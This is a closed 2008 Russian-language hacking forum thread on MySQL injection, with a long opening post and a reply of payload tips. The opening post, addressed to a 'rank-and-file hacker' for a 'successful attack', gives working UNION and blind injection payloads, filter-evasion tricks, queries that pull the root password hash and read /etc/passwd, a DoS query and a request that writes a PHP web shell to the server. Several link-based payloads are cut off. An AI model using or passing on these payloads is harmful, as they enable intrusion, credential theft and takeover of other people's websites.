Все о MySQL Injection

Тема в разделе "Базы данных", создана пользователем troll90945, 12 сен 2008.

Статус темы:
Закрыта.
Модераторы: latteo
  1. troll90945

    troll90945 Читатель

    Заблокирован
    Регистр.:
    29 фев 2008
    Сообщения:
    109
    Симпатии:
    47
    MySQL Inj - основы и не только
    Наставления рядовому хакеру для успешного проведения атаки
    -----------------------------------------------------------------

    MySQL Injection - одна из самых распространенных критических дыр всемирной свалки-интернета.... Она встречается довольно часто, причем в ресурсах довольно разных классов. Как и любая другая уязвимость, mysql inj - порождение ошибки кодера.

    Что нам дает MySQL Injection?
    Данная уязвимость позволяет пользователю выполнять произвольные команды в базе данных. А это тянет за собой большое колличество нехороших для жертвы последствий. С помощью MySQL Inj можно погубить, при определенных обстоятельствах, любой ресурс.

    Немного теории
    Итак, рассмотрим подробней mysql inj.
    Например мы имеем такой php код:
    PHP код:
    <?php
    ...
    $id = $_GET['id'];
    ...
    mysql_query("UNION SELECT nick FROM users WHERE id=".$id);.....
    ?>

    То есть, невдаваясь в подробности, в запрос подставляется переменная, полученная скриптом методом GET.
    И теперь, внимательно посмотрев на php код, мы видим, что можем изменить запрос в свою пользу! Если эта переменная ничем не фильтруется, то вместо нормального ID, мы можем подставить такое выражение, которое выполнить определенный запрос в базе данных жертвы. Это и есть MySQL inj.

    Практикум
    Как обнаружить mysql inj? Ведь у нас нету исходников. Но это не проблемма. Рассмотрим пример:
    Код:

    Перейти по ссылке

    Способ №1:
    Зачастую проверяют на Mysql inj подстановкой в переменную одинарной ковычки:
    Код:

    Перейти по ссылке'

    Результатом, сведетельствующем о уязвимости должно быть сообщение на странице, что то вроде:
    MySQL Error: mysql_query(.......) error expretion syntax...
    Вобщем нечто подобное свидетельствует уже о 99% уязвимости ресурса.

    Способ №2
    Это, кстати, тот самый способ о котором многие забывают, и очень часто пропускают заветную дыру. Ведь в скрипте может стоять, например, фильтрация на символ " ' " осущественная, скажем, preg_replace()
    или же может стоять просто error_reporting(0), при котором увидеть сообщение об ошибке нам не суждено. Поэтому киддисы чаще всего просто подставляют ковычку, и не увидив сообщение об ошибке, покидают ресурс. Так вот он, второй метод проверки:
    Код:

    Перейти по ссылке

    Если такой запрос вам покажет ту же страничку, что и page=1 , то считайте, что 99% тут иньекция.

    Как теперь получить что-то?
    Как я уже говорил, нам нужно вставить в переменную свой запрос, НО
    ведь запрос прописанный в скрипте никто не отменял, так что нужно сделать так, чтобы он выдал результатом NULL - то есть пустое значение.
    Вот пример:
    Код:

    Перейти по ссылке
    или
    Перейти по ссылке

    То есть выполнится запрос к записи №-1 или №99999 что вернет пустое значение, а далее пойдет наш код(/* - должно закомментировать оставшуюся часть запроса в скрипте. + является пробелом). Для того чтобы перейти на следующую стадию, мы должны подобрать определенное колличество полей на странице, которые используют mysql. Делается это методом перебора. Например:
    union select null,null
    union select null,null,null
    union select null,null,null,null
    и т.д. пока мы не подберем их колличество. Сигналом, о том что мы подобрали правильное колличество полей будет то, что на странице мы увидим все то же самое как и при запросе page=1, только все поля страницы будут пустыми.
    Допустим мы имеем 6 полей. Тогда правильный запрос будет выглядеть так:
    Код:

    Перейти по ссылке


    Но есть более удобный способ подобрать практически любое колличество столбцов за считанные секунды. Есть в MySQL такая вещь как Order by.
    Приведу пример запроса:
    Код:

    ?id=-1+order+by+100/*

    Если кол-во столбцов больше/равно 100, то запрос выполнится корректно - если нет, то увидим ошибку. Таким методом можно очень быстро найти столбцы.

    Теперь нам нужно найти те поля, которые непосредственно отображаются на страничке. Для этого вместо null вводим последовательность цифр - 1,2,3,4....
    пример:
    Код:

    Перейти по ссылке

    Теперь на страничке мы увидим появившиеся цифры в полях. Теперь мы знаем куда подставлять запрос. Можем сразу же получить немного информации. Например имя пользователя базы, версия mysqld, имя базы.
    Например:
    Код:

    Перейти по ссылке
    Перейти по ссылке
    Перейти по ссылке

    Теперь наши возможности немного расширились. Мы можем:
    1)Получить пароль root
    Для этого составим такой запрос:
    Код:

    Перейти по ссылке er/*

    Мы получим лишь хэш пароля, который можно потом расшифровать при помощи PasswordsPro.
    К сожалению этот метод работает не всегда, а только тогда когда у нас есть доступ к mysql.user

    2)Прочитать другие таблицы
    Метод осложняется тем, что для того чтобы нам что то прочитать, нам нужно знать ЧТО ИМЕННО. То есть, имена таблиц и их полей прийдется просто подбирать. Например можно попробовать таблицы типа users,reg_users,admins,accaunts...
    Пример:
    Код:

    Перейти по ссылке


    3)Прочитать файлы на сервере
    Если у нас есть права file_priv то мы можем прочитать файлы на сервере
    с провами пользователя на котором крутится mysqld. Для этого нам поможет функция LOAD_FILE(). Пример:
    Код:

    Перейти по ссылке


    4)Получить шелл
    Сразу скажу, что для этого нам нужно знать установочную дирректорию сайта. Составляем запрос, записывающий в файл шелл. Допустим уст. дирректория "/home/site/public_html/"
    Тогда запрос такой:
    Код:

    http://www.site.ru/index.php?page=-1+union+select+1,2,3,4,5,'<?php system($_GET[cmd]); ?>'+from+mysql.user+into+outfile+'/home/site/public_html/shell.php'/*


    Вот, собственно все основные действия которые можно проделать с MySQL Inj. Единственное еще что могу добавить, так что, например, можно контролировать кол-во исходящей инфы из таблиц при помощи команды limit.
    Syntax: limit сдвиг,кол-во
    Exapmle: union select 1,2,user,pass,5,6+from+users+limit+5,3/*
    В следствии чего будет выведено 3 записи таблицы, начиная с пятой


    Секреты и ньюансы

    Обход фильтрации:
    Например я иногда встречался с тем, что переменная с mysql inj фильтруется так, что в запросе, в имени поля, я не могу использовать буквы. Это я обошел таким способом:
    Код:

    Перейти по ссылке), 0x71),0x71),4,5,6/*

    Это успешно сработало.

    Потом еще помню ситуацию, когда стояла фильтрация на ковычку, а мне надо было прочитать файл, при помощи LOAD_FILE(). Обошел я это при помощи char()
    Пример чтения /etc/passwd:
    Код:

    Перейти по ссылке ,112,97,115,115,119,100)),4,5,6/*

    Так же иногда бывает, чаще всего в CMS, что иньекция, например, в поле имени, и там нельзя использовать пробелы. После этого кажеться что все кончено, НО и это можно обойти. Просто вместо пробела можно использовать комментарии. Например:
    Код:

    Перейти по ссылке er/*

    аналогично

    Перейти по ссылке


    DOS
    Код:

    Перейти по ссылке t_date)))



    ----------------------------------------------------------------------------
    Статья просто расчитана на то чтобы объеденить всю инфу о mysql inj в одной теме.
     
    BigBoy92, Mangock и IRIDON нравится это.
  2. BACZ

    BACZ

    Регистр.:
    18 июн 2008
    Сообщения:
    610
    Симпатии:
    381
    всякие полезности:
    ================

    Аналоги ПРОБЕЛА:
    + или %2B
    табуляция " " или %09
    возврат каретки " " или %0D
    перевод строки %0A
    три символа "$IFS"
    комментарий /**/

    Комментарии вместо /*
    -- (два минуса)

    Аналоги кавычек
    %27
    %2527
    %60
    0x27(mssql)
    0x22(mssql)

    В Mysql 5-ой версии есть таблица information_schema.tables,в ней находятся все имена таблиц.Mysql
    Код:
    http://site.com/index.php?uid=1+union+select+1,2,3,table_name+from+information_schema.tables/*
    
    Чаще всего весь список таблиц инъекция не выводит тогда
    Код:
    http://site.com/index.php?uid=1+union+select+1,2,3,table_name+from+information_schema.tables+limit+0,1/*
    
    И.т.д
    После того как мы узнали название заблицы(к примеру admins) нужно узнать количество колонок
    Код:
    http://site.com/index.php?uid=1+union+select+1,2,3,4,column_name+from+information_schema.columns+where+table_name=admins+limit+0,1/*
    
    Иногда бывает,что таблица находится в другой БД. Поступаем так:
    Код:
    http://site.com/index.php?uid=1+union+select+1,2,3,4,table_schema+from+information_schema.tables/*
    
    Получили название БД формируем запрос
    Код:
    http://site.com/index.php?uid=1+union+select+password+from+users.dbname/*
    
    Где db.name название базы данных.
    Чтобы упростить перебор в лимите можем объединить табл. и колонки
    Код:
    http://site.com/uid=1+union+select+concat_ws(0x7c,table_name,column_name)+from+information_schema.columns+limit+0,1/*
    

    слепая инъекция
    ----------------
    страница появляется если запрос выдает какое то значение и не появляется если нет
    никаких других данных не выводится
    например голосование, если номер 4 то выводится, если не 4 то нет
    Код:
    http://www.site.ru/vote/?num=IF(ASCII(SUBSTRING((select%20count(*)%20from%20users),1,1))=0x31,4,999999)
    
    т.е. если ответ на запрос "да" то выполнится 4 и увидим страницу, если "нет" то не увидим

    load_file
    --------
    если повезет можно смотреть папки и список файлов
    Код:
    http://www.site.ru/index.php?uid=-1%20union%20select%20load_file(CHAR(47)),2,3,4,5,6,7,8,9,0/*
    
    тогда для ориентировки можно запросить select @@datadir
    чтобы хотя бы примерно представлять где находится скуль и куда можно выкинуть файл если прокатывает кавычка и into_outfile

    многострочный вывод
    ---------------------
    если все правильные по синтаксису запросы, даже с нулевым количеством результатов при select ничего не выдают на страницу, а ошибочный запрос выдает
    то можно использовать в качестве альтернативы запрос который выдаст многострочный результат и сделает запрос ошибочным
    IF(ORD(SUBSTRING(user_pass,1,1))>60,(select+1+from+wp_options),0)
    если первое верно и ORD(SUBSTRING(user_pass,1,1))>60, то Subquery returns more than 1 row т.к. подзапрос выбирает всё из таблицы wp_options
    если нет то пусто
     
    BigBoy92 и IRIDON нравится это.
Статус темы:
Закрыта.